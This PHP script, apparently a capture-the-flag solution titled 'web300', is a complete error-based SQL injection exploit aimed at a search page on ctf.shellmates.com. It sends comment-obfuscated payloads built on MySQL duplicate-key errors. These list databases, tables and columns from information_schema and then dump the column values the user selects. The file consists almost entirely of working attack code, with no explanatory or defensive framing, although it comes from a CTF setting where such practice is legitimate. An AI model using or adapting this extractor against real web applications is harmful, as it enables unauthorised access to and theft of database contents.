web300

<?php
#GoBack
#@Black-ID
    function http_send($payload)
{
    $packet  = "GET /SearchENgine/index.php?list={$payload} HTTP/1.1\r\n";
    $packet .= "Host: ctf.shellmates.com\r\n";
    $packet .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5\r\n";
    $packet .= "Connection: close\r\n\r\n";

    if (($sock = fsockopen("ctf.shellmates.com", 80))){
    fputs($sock, $packet);
    return stream_get_contents($sock);
    }
}
    function Match($payload){
    if(preg_match("/Duplicate entry '~'(.*)'~1' for key/", http_send($payload), $matches)){
    return $matches[1];
    }else{
    return "NotFound";
    }
    }
    function strToHex($string)
    {
        $hex='';
        for ($i=0; $i < strlen($string); $i++)
        {
            $hex .= dechex(ord($string[$i]));
        }
        return $hex;
    }
    function hexToStr($hex)
    {
        $string='';
        for ($i=0; $i < strlen($hex)-1; $i+=2)
        {
            $string .= chr(hexdec($hex[$i].$hex[$i+1]));
        }
        return $string;
    }

    $payload = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,count(schema_name),0x27,0x7e)/**/from/**/information_schema.schemata/**/LIMIT/**/0,1))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
    $max = intval(Match($payload))-1;
    for ($i = 0; $i <= $max; $i++) {
    $payload2 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,cast(schema_name/**/As/**/char),0x27,0x7e)/**/from/**/information_schema.schemata/**/LIMIT/**/".strval($i).",1))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
    $db[$i] = Match($payload2);
    print "| ".$i." : ".$db[$i]."\n";
    }
    print "\n[*] Select Database : ";
    $dtb=trim(fgets(STDIN));
    if($dtb > $max ) {
    print "[-] Database NotFound\n";
    }else{
    $mdb = "0x".strToHex($db[intval($dtb)]);
    $payload3 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,count(table_name),0x27,0x7e)/**/from/**/`information_schema`.tables/**/WHERE/**/table_schema=".$mdb."))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
    $max = intval(Match($payload3))-1;
    for ($i = 0; $i <= $max; $i++) {
    $payload4 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,cast(table_name/**/as/**/char),0x27,0x7e)/**/from/**/`information_schema`.tables/**/WHERE/**/table_schema=".$mdb."/**/LIMIT/**/".strval($i).",1))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
    $table[$i] = Match($payload4);
    print "| ".$i." : ".$table[$i]."\n";
    }
    print "\n[*] Select Table : ";
    $ttb=trim(fgets(STDIN));
    if($dtb > $max ) {
    print "[-] Table NotFound\n";
    }else{
    $mtb = "0x".strToHex($table[intval($ttb)]);
    $payload5 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,count(column_name),0x27,0x7e)/**/FROM/**/`information_schema`.columns/**/WHERE/**/table_schema=".$mdb."/**/And/**/table_name=".$mtb."))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
    $max = intval(Match($payload5))-1;
    for ($i = 0; $i <= $max; $i++) {
    $payload6 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,cast(column_name/**/as/**/char),0x27,0x7e)/**/FROM/**/`information_schema`.columns/**/WHERE/**/table_schema=".$mdb."/**/AND/**/table_name=".$mtb."/**/LIMIT/**/".strval($i).",1))/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1%23";
    $column[$i] = Match($payload6);
    print "| ".$i." : ".$column[$i]."\n";
    }
    print "\n[*] Select Column : ";
    $clb=trim(fgets(STDIN));
    $payload7 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,count(".hexToStr(substr($mtb,/**/2)).".".$column[0]."),0x27,0x7e)/**/FROM/**/`".hexToStr(substr($mdb,/**/2))."`.".hexToStr(substr($mtb,/**/2))."/**/LIMIT/**/0,1)/**/)/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1/**/and/**/1=1%23";

    $max = intval(Match($payload7))-1;

    for ($i = 0; $i <= $max; $i++) {
    $aclm = explode ("-", $clb);
    print "+------------------------------------------\n";
    foreach ($aclm as $clm) {
    $mcl = $column[intval($clm)];
    $payload7 = "1')/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,".$mcl.",0x27,0x7e)/**/FROM/**/`".hexToStr(substr($mdb,/**/2))."`.".hexToStr(substr($mtb,/**/2))."/**/LIMIT/**/".strval($i).",1)/**/)/**/from/**/`information_schema`.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/`information_schema`.tables/**/group/**/by/**/x)a)/**/and/**/1=1/**/and/**/1=1%23";
    $value = Match($payload7);

    print "|  ".$mcl." :".$value."\n";
    }
    }
    }
    }
    ?>